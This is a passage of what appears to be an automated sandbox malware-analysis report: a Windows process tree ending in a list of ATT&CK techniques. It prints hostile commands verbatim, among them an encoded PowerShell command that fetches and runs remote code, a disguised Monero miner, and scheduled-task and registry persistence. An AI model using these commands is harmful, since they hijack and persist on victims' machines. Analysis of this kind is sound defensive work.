        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        
        PID:1628
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        Executes dropped EXE
        
        PID:2504
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:2996
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        
        PID:3040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:2212
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:1236
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:2888
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:2480
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        
        PID:1632
        
        C:\Users\Admin\AppData\Roaming\1147395.exe
        
        "C:\Users\Admin\AppData\Roaming\1147395.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2100
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2100 -s 1784
        9⤵
        Program crash
        
        PID:2056
        
        C:\Users\Admin\AppData\Roaming\8675853.exe
        
        "C:\Users\Admin\AppData\Roaming\8675853.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:2156
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        9⤵
        Executes dropped EXE
        
        PID:3004
        
        C:\Users\Admin\AppData\Roaming\8623021.exe
        
        "C:\Users\Admin\AppData\Roaming\8623021.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2228
        
        C:\Users\Admin\AppData\Roaming\7608390.exe
        
        "C:\Users\Admin\AppData\Roaming\7608390.exe"
        8⤵
        
        PID:2676
        
        C:\Users\Admin\AppData\Roaming\5914833.exe
        
        "C:\Users\Admin\AppData\Roaming\5914833.exe"
        8⤵
        Executes dropped EXE
        
        PID:2776
        
        C:\Users\Admin\AppData\Roaming\4971750.exe
        
        "C:\Users\Admin\AppData\Roaming\4971750.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2844
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 1756
        9⤵
        Program crash
        
        PID:2988
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1580
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1580 -s 1392
        8⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:2168
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:744
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
        8⤵
        
        PID:2420
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        9⤵
        Kills process with taskkill
        
        PID:2316
        
        C:\Users\Admin\AppData\Local\Temp\Pubdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Pubdate.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2068
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2124
        
        C:\Users\Admin\AppData\Local\Temp\is-BLIB1.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-BLIB1.tmp\setup_2.tmp" /SL5="$1019C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2332
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        
        PID:2504
        
        C:\Users\Admin\AppData\Local\Temp\is-R4LNA.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-R4LNA.tmp\setup_2.tmp" /SL5="$201B6,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:2568
        
        C:\Users\Admin\AppData\Local\Temp\is-B8ARG.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-B8ARG.tmp\postback.exe" ss1
        11⤵
        
        PID:3028
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe ss1
        12⤵
        
        PID:1800
        
        C:\Users\Admin\AppData\Local\Temp\80DEthZAw.exe
        
        "C:\Users\Admin\AppData\Local\Temp\80DEthZAw.exe"
        13⤵
        
        PID:2512
        
        C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"
        14⤵
        
        PID:2668
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
        15⤵
        
        PID:2324
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
        16⤵
        
        PID:3012
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe" /F
        15⤵
        Creates scheduled task(s)
        
        PID:3032
        
        C:\Users\Admin\AppData\Local\Temp\vildo\vildo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\vildo.\vildo.exe"
        15⤵
        
        PID:2240
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName youtube.com
        16⤵
        
        PID:1540
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName google.com
        16⤵
        
        PID:2872
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName facebook.com
        16⤵
        
        PID:1680
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName outlook.com
        16⤵
        
        PID:3112
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName bing.com
        16⤵
        
        PID:3284
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName google.com
        16⤵
        
        PID:3424
        
        C:\Users\Admin\AppData\Local\Temp\vildo.exe
        
        C:\Users\Admin\AppData\Local\Temp\vildo.exe
        16⤵
        
        PID:3772
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im vildo.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\vildo.exe" & del C:\ProgramData\*.dll & exit
        17⤵
        
        PID:2744
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im vildo.exe /f
        18⤵
        Kills process with taskkill
        
        PID:3188
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        18⤵
        Delays execution with timeout.exe
        
        PID:3728
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\ProgramData\123.\123.cmd" "
        15⤵
        
        PID:984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -w h -enc IAAkAGEAPQBpAHcAcgAgACcAaAB0AHQAcAA6AC8ALwA0ADUALgA2ADEALgAxADMANwAuADEANwAyAC8AeQByAGQALgBwAHMAMQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABBAHIAcwBpAG4AZwAgAHwAaQBlAHgA
        16⤵
        
        PID:1924
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        
        PID:2252
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        Executes dropped EXE
        
        PID:2468
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:2396
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2696

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1236
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:1464

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2460
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2388

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1631298047-1999876542-283264234370934746-1329051481678215323-943839431449168349"
1⤵
- Executes dropped EXE
PID:3028

C:\Windows\system32\taskeng.exe
taskeng.exe {436838AB-44FB-4960-8255-095EF92C74EC} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]
1⤵
PID:2928
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:2940
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  PID:4044
- - C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    3⤵
    PID:3804
  - - C:\Windows\SysWOW64\schtasks.exe
      /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
      4⤵
      Creates scheduled task(s)
      PID:3152

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2061577905-1158416065-984416716-256064404-84625758417910552512048719746202819155"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Users\Admin\AppData\Local\Temp\AC37.exe
C:\Users\Admin\AppData\Local\Temp\AC37.exe
1⤵
PID:4008

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2212
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2996

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:3500
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A5F476D9275EC1B61C31F503F8FC8C51 C
  2⤵
  PID:3752
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding EA1549CEC086A138C17EFB9F247CFCD0
  2⤵
  PID:4080
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:1440
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 0D4129AD46F0293C5124535E3C59FEAD M Global\MSI0000
  2⤵
  PID:4036

C:\Users\Admin\AppData\Local\Temp\53FB.exe
C:\Users\Admin\AppData\Local\Temp\53FB.exe
1⤵
PID:4064
- C:\Users\Admin\AppData\Local\Temp\53FB.exe
  C:\Users\Admin\AppData\Local\Temp\53FB.exe
  2⤵
  PID:4092
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\1ef5acfb-f598-4aa9-9c0a-4fb738060fd0" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:3260
- - C:\Users\Admin\AppData\Local\Temp\53FB.exe
    "C:\Users\Admin\AppData\Local\Temp\53FB.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:3280
  - - C:\Users\Admin\AppData\Local\Temp\53FB.exe
      "C:\Users\Admin\AppData\Local\Temp\53FB.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:1848
    - - C:\Users\Admin\AppData\Local\c2c43872-e9d4-4386-be03-d94fcea62f1d\build2.exe
        
        "C:\Users\Admin\AppData\Local\c2c43872-e9d4-4386-be03-d94fcea62f1d\build2.exe"
        5⤵
        
        PID:2204
      - C:\Users\Admin\AppData\Local\c2c43872-e9d4-4386-be03-d94fcea62f1d\build2.exe
        
        "C:\Users\Admin\AppData\Local\c2c43872-e9d4-4386-be03-d94fcea62f1d\build2.exe"
        6⤵
        
        PID:884
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\c2c43872-e9d4-4386-be03-d94fcea62f1d\build2.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:3880
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im build2.exe /f
        8⤵
        Kills process with taskkill
        
        PID:3248
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:2268
    - - C:\Users\Admin\AppData\Local\c2c43872-e9d4-4386-be03-d94fcea62f1d\build3.exe
        
        "C:\Users\Admin\AppData\Local\c2c43872-e9d4-4386-be03-d94fcea62f1d\build3.exe"
        5⤵
        
        PID:2268
      - C:\Users\Admin\AppData\Local\c2c43872-e9d4-4386-be03-d94fcea62f1d\build3.exe
        
        "C:\Users\Admin\AppData\Local\c2c43872-e9d4-4386-be03-d94fcea62f1d\build3.exe"
        6⤵
        
        PID:3852
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3376

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1975445587-1406424466383061242-358868634-1239756613-100705371715871378631733662638"
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2676

C:\Users\Admin\AppData\Local\Temp\C45A.exe
C:\Users\Admin\AppData\Local\Temp\C45A.exe
1⤵
PID:2076
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im C45A.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\C45A.exe" & del C:\ProgramData\*.dll & exit
  2⤵
  PID:1148
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im C45A.exe /f
    3⤵
    - Kills process with taskkill
    PID:3108
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 6
    3⤵
    - Delays execution with timeout.exe
    PID:2280

C:\Users\Admin\AppData\Local\Temp\2B38.exe
C:\Users\Admin\AppData\Local\Temp\2B38.exe
1⤵
PID:4052

C:\Users\Admin\AppData\Local\Temp\6F0C.exe
C:\Users\Admin\AppData\Local\Temp\6F0C.exe
1⤵
PID:3276
- C:\Users\Admin\AppData\Local\Temp\zdwsuNUYCj.exe
  "C:\Users\Admin\AppData\Local\Temp\zdwsuNUYCj.exe"
  2⤵
  PID:3232
- - C:\Users\Admin\AppData\Local\Temp\is-HFH9B.tmp\zdwsuNUYCj.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-HFH9B.tmp\zdwsuNUYCj.tmp" /SL5="$302DE,6028787,831488,C:\Users\Admin\AppData\Local\Temp\zdwsuNUYCj.exe"
    3⤵
    PID:3224
  - - C:\Users\Admin\AppData\Local\Temp\zdwsuNUYCj.exe
      "C:\Users\Admin\AppData\Local\Temp\zdwsuNUYCj.exe" /VERYSILENT
      4⤵
      PID:3212
    - - C:\Users\Admin\AppData\Local\Temp\is-FOJ7G.tmp\zdwsuNUYCj.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-FOJ7G.tmp\zdwsuNUYCj.tmp" /SL5="$30400,6028787,831488,C:\Users\Admin\AppData\Local\Temp\zdwsuNUYCj.exe" /VERYSILENT
        5⤵
        
        PID:3556
      - C:\Users\Admin\AppData\Roaming\Advanced Installer Components\ConflictsDetector.exe
        
        "C:\Users\Admin\AppData\Roaming\Advanced Installer Components\ConflictsDetector.exe"
        6⤵
        
        PID:1060
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\6F0C.exe"
  2⤵
  PID:2760
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:572
- C:\Users\Admin\AppData\Local\Temp\8yUHyJ6pXv.exe
  "C:\Users\Admin\AppData\Local\Temp\8yUHyJ6pXv.exe"
  2⤵
  PID:3244
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 3244 -s 1596
    3⤵
    - Program crash
    PID:3952

C:\Users\Admin\AppData\Local\Temp\9BA8.exe
C:\Users\Admin\AppData\Local\Temp\9BA8.exe
1⤵
PID:4012
- C:\Users\Admin\AppData\Local\Temp\8a643770bf\drbux.exe
  "C:\Users\Admin\AppData\Local\Temp\8a643770bf\drbux.exe"
  2⤵
  PID:3696

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x53c
1⤵
PID:3100

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery